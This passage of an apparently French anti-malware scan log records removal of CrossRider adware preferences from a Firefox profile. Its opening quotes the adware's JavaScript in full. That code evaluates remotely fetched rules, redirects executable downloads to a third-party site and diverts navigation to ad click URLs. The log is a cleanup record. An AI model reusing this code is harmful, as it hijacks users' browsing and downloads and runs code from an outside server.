h=[];b=b.replace(RegExp(/^www\\./i),\"\").split(\".\");var c=b.join(\".\").match(RegExp(/\\.[a-z]{2,3}\\.[a-z]{2}$/i))?3:2;do{var d=b.join(\".\");h.push(d);b.shift()}while(b.length>=c);return h},MD5:{hexcase:0,b64pad:\"\",md5:function(b){return this.rstr2hex(this.rstr_md5(this.str2rstr_utf8(b)))},rstr_md5:function(b){return this.binl2rstr(this.binl_md5(this.rstr2binl(b),8*b.length))},rstr2hex:function(b){for(var h=\nthis.hexcase?\"0123456789ABCDEF\":\"0123456789abcdef\",c=\"\",d,g=0;g<b.length;g++)d=b.charCodeAt(g),c+=h.charAt(d>>>4&15)+h.charAt(d&15);return c},str2rstr_utf8:function(b){for(var h=\"\",c=-1,d,g;++c<b.length;)d=b.charCodeAt(c),g=c+1<b.length?b.charCodeAt(c+1):0,55296<=d&&56319>=d&&(56320<=g&&57343>=g)&&(d=65536+((d&1023)<<10)+(g&1023),c++),127>=d?h+=String.fromCharCode(d):2047>=d?h+=String.fromCharCode(192|d>>>6&31,128|d&63):65535>=d?h+=String.fromCharCode(224|d>>>12&15,128|d>>>6&63,128|d&63):2097151>=\nd&&(h+=String.fromCharCode(240|d>>>18&7,128|d>>>12&63,128|d>>>6&63,128|d&63));return h},rstr2binl:function(b){for(var h=Array(b.length>>2),c=0;c<h.length;c++)h[c]=0;for(c=0;c<8*b.length;c+=8)h[c>>5]|=(b.charCodeAt(c/8)&255)<<c%32;return h},binl2rstr:function(b){for(var h=\"\",c=0;c<32*b.length;c+=8)h+=String.fromCharCode(b[c>>5]>>>c%32&255);return h},binl_md5:function(b,h){b[h>>5]|=128<<h%32;b[(h+64>>>9<<4)+14]=h;for(var c=1732584193,d=-271733879,g=-1732584194,e=271733878,f=0;f<b.length;f+=16)var q=\nc,k=d,j=g,n=e,c=this.md5_ff(c,d,g,e,b[f+0],7,-680876936),e=this.md5_ff(e,c,d,g,b[f+1],12,-389564586),g=this.md5_ff(g,e,c,d,b[f+2],17,606105819),d=this.md5_ff(d,g,e,c,b[f+3],22,-1044525330),c=this.md5_ff(c,d,g,e,b[f+4],7,-176418897),e=this.md5_ff(e,c,d,g,b[f+5],12,1200080426),g=this.md5_ff(g,e,c,d,b[f+6],17,-1473231341),d=this.md5_ff(d,g,e,c,b[f+7],22,-45705983),c=this.md5_ff(c,d,g,e,b[f+8],7,1770035416),e=this.md5_ff(e,c,d,g,b[f+9],12,-1958414417),g=this.md5_ff(g,e,c,d,b[f+10],17,-42063),d=this.md5_ff(d,\ng,e,c,b[f+11],22,-1990404162),c=this.md5_ff(c,d,g,e,b[f+12],7,1804603682),e=this.md5_ff(e,c,d,g,b[f+13],12,-40341101),g=this.md5_ff(g,e,c,d,b[f+14],17,-1502002290),d=this.md5_ff(d,g,e,c,b[f+15],22,1236535329),c=this.md5_gg(c,d,g,e,b[f+1],5,-165796510),e=this.md5_gg(e,c,d,g,b[f+6],9,-1069501632),g=this.md5_gg(g,e,c,d,b[f+11],14,643717713),d=this.md5_gg(d,g,e,c,b[f+0],20,-373897302),c=this.md5_gg(c,d,g,e,b[f+5],5,-701558691),e=this.md5_gg(e,c,d,g,b[f+10],9,38016083),g=this.md5_gg(g,e,c,d,b[f+15],14,\n-660478335),d=this.md5_gg(d,g,e,c,b[f+4],20,-405537848),c=this.md5_gg(c,d,g,e,b[f+9],5,568446438),e=this.md5_gg(e,c,d,g,b[f+14],9,-1019803690),g=this.md5_gg(g,e,c,d,b[f+3],14,-187363961),d=this.md5_gg(d,g,e,c,b[f+8],20,1163531501),c=this.md5_gg(c,d,g,e,b[f+13],5,-1444681467),e=this.md5_gg(e,c,d,g,b[f+2],9,-51403784),g=this.md5_gg(g,e,c,d,b[f+7],14,1735328473),d=this.md5_gg(d,g,e,c,b[f+12],20,-1926607734),c=this.md5_hh(c,d,g,e,b[f+5],4,-378558),e=this.md5_hh(e,c,d,g,b[f+8],11,-2022574463),g=this.md5_hh(g,\ne,c,d,b[f+11],16,1839030562),d=this.md5_hh(d,g,e,c,b[f+14],23,-35309556),c=this.md5_hh(c,d,g,e,b[f+1],4,-1530992060),e=this.md5_hh(e,c,d,g,b[f+4],11,1272893353),g=this.md5_hh(g,e,c,d,b[f+7],16,-155497632),d=this.md5_hh(d,g,e,c,b[f+10],23,-1094730640),c=this.md5_hh(c,d,g,e,b[f+13],4,681279174),e=this.md5_hh(e,c,d,g,b[f+0],11,-358537222),g=this.md5_hh(g,e,c,d,b[f+3],16,-722521979),d=this.md5_hh(d,g,e,c,b[f+6],23,76029189),c=this.md5_hh(c,d,g,e,b[f+9],4,-640364487),e=this.md5_hh(e,c,d,g,b[f+12],11,-421815835),\ng=this.md5_hh(g,e,c,d,b[f+15],16,530742520),d=this.md5_hh(d,g,e,c,b[f+2],23,-995338651),c=this.md5_ii(c,d,g,e,b[f+0],6,-198630844),e=this.md5_ii(e,c,d,g,b[f+7],10,1126891415),g=this.md5_ii(g,e,c,d,b[f+14],15,-1416354905),d=this.md5_ii(d,g,e,c,b[f+5],21,-57434055),c=this.md5_ii(c,d,g,e,b[f+12],6,1700485571),e=this.md5_ii(e,c,d,g,b[f+3],10,-1894986606),g=this.md5_ii(g,e,c,d,b[f+10],15,-1051523),d=this.md5_ii(d,g,e,c,b[f+1],21,-2054922799),c=this.md5_ii(c,d,g,e,b[f+8],6,1873313359),e=this.md5_ii(e,c,\nd,g,b[f+15],10,-30611744),g=this.md5_ii(g,e,c,d,b[f+6],15,-1560198380),d=this.md5_ii(d,g,e,c,b[f+13],21,1309151649),c=this.md5_ii(c,d,g,e,b[f+4],6,-145523070),e=this.md5_ii(e,c,d,g,b[f+11],10,-1120210379),g=this.md5_ii(g,e,c,d,b[f+2],15,718787259),d=this.md5_ii(d,g,e,c,b[f+9],21,-343485551),c=this.safe_add(c,q),d=this.safe_add(d,k),g=this.safe_add(g,j),e=this.safe_add(e,n);return[c,d,g,e]},md5_cmn:function(b,h,c,d,g,e){return this.safe_add(this.bit_rol(this.safe_add(this.safe_add(h,b),this.safe_add(d,\ne)),g),c)},md5_ff:function(b,h,c,d,g,e,f){return this.md5_cmn(h&c|~h&d,b,h,g,e,f)},md5_gg:function(b,h,c,d,g,e,f){return this.md5_cmn(h&d|c&~d,b,h,g,e,f)},md5_hh:function(b,h,c,d,g,e,f){return this.md5_cmn(h^c^d,b,h,g,e,f)},md5_ii:function(b,h,c,d,g,e,f){return this.md5_cmn(c^(h|~d),b,h,g,e,f)},safe_add:function(b,h){var c=(b&65535)+(h&65535);return(b>>16)+(h>>16)+(c>>16)<<16|c&65535},bit_rol:function(b,h){return b<<h|b>>>32-h}},parse_url:function(b,h){for(var c=\"source scheme authority userInfo user pass host port relative path directory file query fragment\".split(\" \"),\nd=/^(?:([^:\\/?#]+):)?(?:\\/\\/()(?:(?:()(?:([^:@]*):?([^:@]*))?@)?([^:\\/?#]*)(?::(\\d*))?))?()(?:(()(?:(?:[^?#\\/]*\\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/.exec(b),g={},e=14;e--;)d[e]&&(g[c[e]]=d[e]);if(h)return g[h.replace(\"PHP_URL_\",\"\").toLowerCase()];delete g.source;return g}},_GPL_BG_VARS={vars:{},rules:{}},_GPL_BG_NEW={started:!1,log:function(b){console.log(b)},factor:1,preinit:function(){_GPL_BG_NEW.started||_GPL_BG_NEW.captureRequests();null!=appAPI.db.get(\"_GPL_zoneid\")&&null!=appAPI.db.get(\"_GPL_product_id\")&&\nnull!=appAPI.db.get(\"_GPL_aoi\")?(_GPL_BG_VARS.vars.zoneid=appAPI.db.get(\"_GPL_zoneid\"),_GPL_BG_VARS.vars.pid=appAPI.db.get(\"_GPL_product_id\"),_GPL_BG_VARS.vars.aoi=parseInt(appAPI.db.get(\"_GPL_aoi\")),appAPI.db.set(\"_GPL_crr\",Math.floor((new Date).getTime()/1E3)),_GPL_BG_NEW.init()):setTimeout(function(){_GPL_BG_NEW.preinit()},1E3)},init:function(){var b=appAPI.db.get(\"_GPL_country_code\");!b||\"\"==b?appAPI.request.get(\"http://contentcache-a.akamaihd.net/loaders/cid?r=\"+(new Date).getTime(),function(b){if(\"\"==\nb)setTimeout(function(){_GPL_BG_NEW.init()},1E4);else try{var c=(new Function(\"return \"+b.split(\"(\")[1].split(\")\")[0]))();c&&(c.cid&&\"\"!=c.cid)&&(appAPI.db.set(\"_GPL_country_code\",c.cid,appAPI.time.daysFromNow(7)),_GPL_BG_VARS.vars.cid=c.cid,_GPL_BG_NEW.loadRules())}catch(d){setTimeout(function(){_GPL_BG_NEW.init()},1E4)}},function(){setTimeout(function(){_GPL_BG_NEW.init()},1E4)}):(_GPL_BG_VARS.vars.cid=b,_GPL_BG_NEW.loadRules());setInterval(function(){_GPL_BG_NEW.factor=1;_GPL_BG_NEW.loadRules()},\n108E5)},loadRules:function(){appAPI.request.get(\"http://contentcache-a.akamaihd.net/srr/\"+_GPL_BG_VARS.vars.cid+\"/?r=\"+(new Date).getTime(),function(b){if(b=(new Function(\"return \"+b))())_GPL_BG_VARS.rules=b,_GPL_BG_VARS.vars.pid in _GPL_BG_VARS.rules.p&&Math.floor((new Date).getTime()/1E3)-_GPL_BG_VARS.vars.aoi>=parseInt(_GPL_BG_VARS.rules.p[_GPL_BG_VARS.vars.pid].min)&&_GPL_BG_NEW.captureRequests()},function(){setTimeout(function(){_GPL_BG_NEW.loadRules();_GPL_BG_NEW.factor*=2},6E4*_GPL_BG_NEW.factor)})},\ncaptureRequests:function(){_GPL_BG_NEW.started&&appAPI.webRequest.onRequest.removeListener(_GPL_BG_NEW.started);_GPL_BG_NEW.started=appAPI.webRequest.onBeforeNavigate.addListener(function(b,h){var c={processRequest:function(d,g,e){appAPI.db.set(\"lastrequest\",g);if(!g.host||null!=appAPI.db.get(\"_GPL_crrs\"))return!1;if(appAPI.db.get(\"_GPL_ib_disclosure\")&&appAPI.db.get(\"_GPL_ib_delay\")&&!appAPI.db.get(\"_GPL_ib_t\")){var f=appAPI.db.get(\"_GPL_ib_list\"),b=appAPI.db.get(\"_GPL_ip_path\")||\"is/\",c=\"\"+e;if(c&&\nf&&(c=c.split(\"?\")[0].toLowerCase(),c.indexOf(\".exe\")==c.length-4)){var j=this.getDomainVariations(g.host.toLowerCase()),h=((g.path?g.path:\"\")+(g.query?\"?\"+g.query:\"\")+(g.fragment?\"#\"+g.fragment:\"\")).toLowerCase();if(j&&0<j.length)for(var l=0,m=j.length;l<m;l++){var p=this.MD5.md5(j[l]);if(f[p]&&h.match(f[p].p))return appAPI.db.set(\"_GPL_ib_t\",e,appAPI.time.hoursFromNow(parseInt(appAPI.db.get(\"_GPL_ib_delay\")))),{redirectTo:(0==c.indexOf(\"http://\")?\"http://\":\"https://\")+\"download-instantly.com/\"+\nb+encodeURIComponent(e)}}}}if(null==appAPI.db.get(\"_GPL_sr_halt\")){g=this.getRules(g,d);if(0==g.length)return!1;if(\"nav\"==d)return d=g[Math.floor(Math.random()*g.length)],appAPI.db.set(\"_GPL_sr[\"+d.d+\"]\",Math.floor((new Date).getTime()/1E3),appAPI.time.hoursFromNow(parseInt(d.h))),appAPI.db.set(\"_GPL_sr_halt\",Math.floor((new Date).getTime()/1E3),appAPI.time.minutesFromNow(15)),{redirectTo:this.getClickUrl(e)};if(\"resource\"==d)return{cancel:!0}}},getRules:function(d,g){var e=[],f=\"nav\"==g?this.getDomainVariations(d.host.toLowerCase()):\n[d.host.toLowerCase()],b=((d.path?d.path:\"\")+(d.query?\"?\"+d.query:\"\")+(d.fragment?\"#\"+d.fragment:\"\")).toLowerCase(),c;if(!f||0==f.length)return e;for(var j=0,n=f.length;j<n;j++){var l=this.MD5.md5(f[j]);if(h.rules[l])for(var m=0,p=h.rules[l].length;m<p;m++)h.rules[l][m].t==g&&b.match(h.rules[l][m].k.toLowerCase())&&(h.rules[l][m].d=f[j],\"resource\"==g?e.push(h.rules[l][m]):(c=appAPI.db.get(\"_GPL_sr[\"+f[j]+\"]\"),null==c&&e.push(h.rules[l][m])))}return e},getClickUrl:function(d){return\"https://clicks.ads2srv.com/click?sr=\"+\nencodeURIComponent(d)+\"&zone=\"+encodeURIComponent(h.vars.zoneid)},getDomainVariations:function(d){d=d.toLowerCase();var g=[];d=d.replace(RegExp(/^www\\./i),\"\").split(\".\");var e=d.join(\".\").match(RegExp(/\\.[a-z]{2,3}\\.[a-z]{2}$/i))?3:2;do{var f=d.join(\".\");g.push(f);d.shift()}while(d.length>=e);return g},MD5:{hexcase:0,b64pad:\"\",md5:function(d){return this.rstr2hex(this.rstr_md5(this.str2rstr_utf8(d)))},rstr_md5:function(d){return this.binl2rstr(this.binl_md5(this.rstr2binl(d),8*d.length))},rstr2hex:function(d){for(var g=\nthis.hexcase?\"0123456789ABCDEF\":\"0123456789abcdef\",e=\"\",f,b=0;b<d.length;b++)f=d.charCodeAt(b),e+=g.charAt(f>>>4&15)+g.charAt(f&15);return e},str2rstr_utf8:function(d){for(var g=\"\",e=-1,f,b;++e<d.length;)f=d.charCodeAt(e),b=e+1<d.length?d.charCodeAt(e+1):0,55296<=f&&56319>=f&&(56320<=b&&57343>=b)&&(f=65536+((f&1023)<<10)+(b&1023),e++),127>=f?g+=String.fromCharCode(f):2047>=f?g+=String.fromCharCode(192|f>>>6&31,128|f&63):65535>=f?g+=String.fromCharCode(224|f>>>12&15,128|f>>>6&63,128|f&63):2097151>=\nf&&(g+=String.fromCharCode(240|f>>>18&7,128|f>>>12&63,128|f>>>6&63,128|f&63));return g},rstr2binl:function(d){for(var g=Array(d.length>>2),e=0;e<g.length;e++)g[e]=0;for(e=0;e<8*d.length;e+=8)g[e>>5]|=(d.charCodeAt(e/8)&255)<<e%32;return g},binl2rstr:function(d){for(var g=\"\",e=0;e<32*d.length;e+=8)g+=String.fromCharCode(d[e>>5]>>>e%32&255);return g},binl_md5:function(d,g){d[g>>5]|=128<<g%32;d[(g+64>>>9<<4)+14]=g;for(var e=1732584193,f=-271733879,b=-1732584194,c=271733878,j=0;j<d.length;j+=16)var h=\ne,l=f,m=b,p=c,e=this.md5_ff(e,f,b,c,d[j+0],7,-680876936),c=this.md5_ff(c,e,f,b,d[j+1],12,-389564586),b=this.md5_ff(b,c,e,f,d[j+2],17,606105819),f=this.md5_ff(f,b,c,e,d[j+3],22,-1044525330),e=this.md5_ff(e,f,b,c,d[j+4],7,-176418897),c=this.md5_ff(c,e,f,b,d[j+5],12,1200080426),b=this.md5_ff(b,c,e,f,d[j+6],17,-1473231341),f=this.md5_ff(f,b,c,e,d[j+7],22,-45705983),e=this.md5_ff(e,f,b,c,d[j+8],7,1770035416),c=this.md5_ff(c,e,f,b,d[j+9],12,-1958414417),b=this.md5_ff(b,c,e,f,d[j+10],17,-42063),f=this.md5_ff(f,\nb,c,e,d[j+11],22,-1990404162),e=this.md5_ff(e,f,b,c,d[j+12],7,1804603682),c=this.md5_ff(c,e,f,b,d[j+13],12,-40341101),b=this.md5_ff(b,c,e,f,d[j+14],17,-1502002290),f=this.md5_ff(f,b,c,e,d[j+15],22,1236535329),e=this.md5_gg(e,f,b,c,d[j+1],5,-165796510),c=this.md5_gg(c,e,f,b,d[j+6],9,-1069501632),b=this.md5_gg(b,c,e,f,d[j+11],14,643717713),f=this.md5_gg(f,b,c,e,d[j+0],20,-373897302),e=this.md5_gg(e,f,b,c,d[j+5],5,-701558691),c=this.md5_gg(c,e,f,b,d[j+10],9,38016083),b=this.md5_gg(b,c,e,f,d[j+15],14,\n-660478335),f=this.md5_gg(f,b,c,e,d[j+4],20,-405537848),e=this.md5_gg(e,f,b,c,d[j+9],5,568446438),c=this.md5_gg(c,e,f,b,d[j+14],9,-1019803690),b=this.md5_gg(b,c,e,f,d[j+3],14,-187363961),f=this.md5_gg(f,b,c,e,d[j+8],20,1163531501),e=this.md5_gg(e,f,b,c,d[j+13],5,-1444681467),c=this.md5_gg(c,e,f,b,d[j+2],9,-51403784),b=this.md5_gg(b,c,e,f,d[j+7],14,1735328473),f=this.md5_gg(f,b,c,e,d[j+12],20,-1926607734),e=this.md5_hh(e,f,b,c,d[j+5],4,-378558),c=this.md5_hh(c,e,f,b,d[j+8],11,-2022574463),b=this.md5_hh(b,\nc,e,f,d[j+11],16,1839030562),f=this.md5_hh(f,b,c,e,d[j+14],23,-35309556),e=this.md5_hh(e,f,b,c,d[j+1],4,-1530992060),c=this.md5_hh(c,e,f,b,d[j+4],11,1272893353),b=this.md5_hh(b,c,e,f,d[j+7],16,-155497632),f=this.md5_hh(f,b,c,e,d[j+10],23,-1094730640),e=this.md5_hh(e,f,b,c,d[j+13],4,681279174),c=this.md5_hh(c,e,f,b,d[j+0],11,-358537222),b=this.md5_hh(b,c,e,f,d[j+3],16,-722521979),f=this.md5_hh(f,b,c,e,d[j+6],23,76029189),e=this.md5_hh(e,f,b,c,d[j+9],4,-640364487),c=this.md5_hh(c,e,f,b,d[j+12],11,-421815835),\nb=this.md5_hh(b,c,e,f,d[j+15],16,530742520),f=this.md5_hh(f,b,c,e,d[j+2],23,-995338651),e=this.md5_ii(e,f,b,c,d[j+0],6,-198630844),c=this.md5_ii(c,e,f,b,d[j+7],10,1126891415),b=this.md5_ii(b,c,e,f,d[j+14],15,-1416354905),f=this.md5_ii(f,b,c,e,d[j+5],21,-57434055),e=this.md5_ii(e,f,b,c,d[j+12],6,1700485571),c=this.md5_ii(c,e,f,b,d[j+3],10,-1894986606),b=this.md5_ii(b,c,e,f,d[j+10],15,-1051523),f=this.md5_ii(f,b,c,e,d[j+1],21,-2054922799),e=this.md5_ii(e,f,b,c,d[j+8],6,1873313359),c=this.md5_ii(c,e,\nf,b,d[j+15],10,-30611744),b=this.md5_ii(b,c,e,f,d[j+6],15,-1560198380),f=this.md5_ii(f,b,c,e,d[j+13],21,1309151649),e=this.md5_ii(e,f,b,c,d[j+4],6,-145523070),c=this.md5_ii(c,e,f,b,d[j+11],10,-1120210379),b=this.md5_ii(b,c,e,f,d[j+2],15,718787259),f=this.md5_ii(f,b,c,e,d[j+9],21,-343485551),e=this.safe_add(e,h),f=this.safe_add(f,l),b=this.safe_add(b,m),c=this.safe_add(c,p);return[e,f,b,c]},md5_cmn:function(d,b,c,f,h,k){return this.safe_add(this.bit_rol(this.safe_add(this.safe_add(b,d),this.safe_add(f,\nk)),h),c)},md5_ff:function(d,b,c,f,h,k,j){return this.md5_cmn(b&c|~b&f,d,b,h,k,j)},md5_gg:function(b,c,e,f,h,k,j){return this.md5_cmn(c&f|e&~f,b,c,h,k,j)},md5_hh:function(b,c,e,f,h,k,j){return this.md5_cmn(c^e^f,b,c,h,k,j)},md5_ii:function(b,c,e,f,h,k,j){return this.md5_cmn(e^(c|~f),b,c,h,k,j)},safe_add:function(b,c){var e=(b&65535)+(c&65535);return(b>>16)+(c>>16)+(e>>16)<<16|e&65535},bit_rol:function(b,c){return b<<c|b>>>32-c}},parse_url:function(b,c){for(var e=\"source scheme authority userInfo user pass host port relative path directory file query fragment\".split(\" \"),\nf=/^(?:([^:\\/?#]+):)?(?:\\/\\/()(?:(?:()(?:([^:@]*):?([^:@]*))?@)?([^:\\/?#]*)(?::(\\d*))?))?()(?:(()(?:(?:[^?#\\/]*\\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/.exec(b),h={},k=14;k--;)f[k]&&(h[e[k]]=f[k]);if(c)return h[c.replace(\"PHP_URL_\",\"\").toLowerCase()];delete h.source;return h}};if(b.pageUrl&&(-1==b.pageUrl.indexOf(\"://\")&&(b.pageUrl=\"http://\"+b.pageUrl),c=c.processRequest(\"nav\",c.parse_url(b.pageUrl),b.pageUrl)))return c},_GPL_BG_VARS)}};\n\"undefined\"!=typeof _GPL_BG&&appAPI.onRequest?_GPL_BG.preinit():\"undefined\"!=typeof _GPL_BG_NEW&&(appAPI.webRequest&&appAPI.webRequest.onBeforeNavigate)&&_GPL_BG_NEW.preinit();\n//------------------ USER PLUGIN GPL Background (BG) END ------------------\n\n\n");), Remplacé,[001761cfc2b91e1889d7b1aecb3951af]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.backgroundver", 57);), Remplacé,[051271bfaecd87afcb95c09fef158878]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.certdomaininstaller", "");), Remplacé,[e82f58d83d3ea4920f51b6a97e866898]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.changeprevious", false);), Remplacé,[75a2b977bbc085b1d28e560959ab48b8]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie.InstallationTime.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");), Remplacé,[48cff8381a61c76f10501c43f113cc34]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie.InstallationTime.value", "1324812295");), Remplacé,[25f2e7494c2f86b0adb3451aea1a837d]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie.InstallerParams.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");), Remplacé,[bc5bd060423948eeabb5cc93a26245bb]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie.InstallerParams.value", "%7B%22sub_id%22%3A%22default%22Remplacé,[ee298ca4f88394a2c69a1e41f50fcb35]C%22source_id%22%3A%224cross5a93dbRW1AR24VZ6542%22Remplacé,[ee298ca4f88394a2c69a1e41f50fcb35]C%22uzid%22%3A%2212475%26subid%3D%26pid%3D1021%22%7D");), %5
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_aoi.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");), Remplacé,[4ccb48e8275467cf3a26c897f3119d63]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_aoi.value", "1324812295");), Remplacé,[1cfb1719522955e13b256bf45ea67e82]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_currenttime.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");), Remplacé,[d54284ac413a62d4ca96e27d966ea060]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_currenttime.value", "%221361059904%22");), Remplacé,[56c1b977fc7f75c1253b431cb74d0df3]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_hotfix20111102645.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");), Remplacé,[7f985cd4f586e5515a06de8115efa35d]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_hotfix20111102645.value", "%221%22");), Remplacé,[f22571bf6e0d9e989dc3fb6420e49e62]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_installer_params.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");), Remplacé,[ee29ad83bbc06accacb462fd94701ae6]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_installer_params.value", "%7B%22sub_id%22%3A%22default%22Remplacé,[2ceb3cf4a6d5033370f0d58aa75d718f]C%22source_id%22%3A%224cross5a93dbRW1AR24VZ6542%22Remplacé,[2ceb3cf4a6d5033370f0d58aa75d718f]C%22uzid%22%3A%2212475%26subid%3D%26pid%3D1021%22%7D");), %5
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_parent_zoneid.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");), Remplacé,[4ccbc8687902023400601847f2123fc1]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_parent_zoneid.value", "%2212475%22");), Remplacé,[9b7c81af4d2ee056f36da8b7f90b748c]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_pc_20120828.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");), Remplacé,[0d0a6fc187f41a1c1f4189d65aaaed13]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_pc_20120828.value", "1349778389358");), Remplacé,[2aed76ba611a0d292937005f27ddc63a]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_product_id.expiration", "Fri Feb 01 2030 00:00:00 GMT+0400");), Remplacé,[8394cb65f48792a485dbe57a2bd957a9]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_product_id.value", "%221021%22");), Remplacé,[f4232b059cdf64d2b7a97ee148bc7b85]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_zoneid.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");), Remplacé,[9b7c86aa215a79bd560ab2adf0144bb5]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie._GPL_zoneid.value", "%2214489%22");), Remplacé,[2ceb62ced8a314220957352a15ef20e0]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie.dbtest.expiration", "Fri Feb 01 2030 00:00:00 GMT+0100");), Remplacé,[44d3032dcbb064d2f7696cf3e61eaf51]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.cookie.dbtest.value", "1349778388944");), Remplacé,[1cfbb37d96e53501c89874eb9b69867a]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.description", "RewardsArcade is a platform that allows users to play amazing games against their friends on Facebook and other social platforms.");), Remplacé,[9d7ab57b2754f34387d95d02ca3ab24e]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.domain", "");), Remplacé,[57c0f33dfc7f85b19dc3bfa0b450e719]
